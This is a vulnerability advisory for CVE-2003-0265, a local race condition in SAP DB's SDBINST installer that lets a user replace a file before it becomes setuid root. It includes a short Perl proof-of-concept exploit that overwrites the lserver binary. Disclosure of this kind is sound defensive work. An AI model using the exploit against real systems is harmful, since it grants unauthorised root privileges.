SAP Database SDBINST Race Condition Vulnerability

Bugtraq ID:	7421
Class:	Race Condition Error
CVE:	CVE-2003-0265
Remote:	No
Local:	Yes
Published:	Apr 23 2003 12:00AM
Updated:	Jul 11 2009 09:07PM
Credit:	Discovery of this vulnerability has been credited to Larry W. Cashdollar (http://vapid.dhs.org).
Vulnerable:	SAP DB 7.4.3 .7 Beta SAP DB 7.3 .29
Not Vulnerable:	SAP DB 7.4.3

SAP Database SDBINST Race Condition Vulnerability

SAP Database SDBINST has been reported prone to a race condition vulnerability.

It has been reported that the SAP Database install tool SDBINST may perform operations non-atomically when installing the SAP database. This condition may open a window of opportunity for a malicious user to replace one of two SAP Database files with a malicious file, before SBDINST sets the setuid bit on the files.

An attacker may exploit this vulnerability to gain root privileges.

SAP Database SDBINST Race Condition Vulnerability

The following proof of concept has been supplied:

#!/bin/perl

while (1) {

$test =`grep -sh PRECOM.ins
/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

if ( $test =~ /PRECOM/ ) {
system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
exit(1);
}

}

SAP Database SDBINST Race Condition Vulnerability

Solution:
This vulnerability has been reported to be fixed in the current version of the software:


SAP DB 7.3 .29

• SAP DB 7.4.03
  http://www.sapdb.org/7.4/sap_db_downloads.htm

SAP Database SDBINST Race Condition Vulnerability

References:

• SAP DB Home Page (SAP)
  
• SAP database local root vulnerability during installation. (fwd) ("Larry W. Cashdollar" )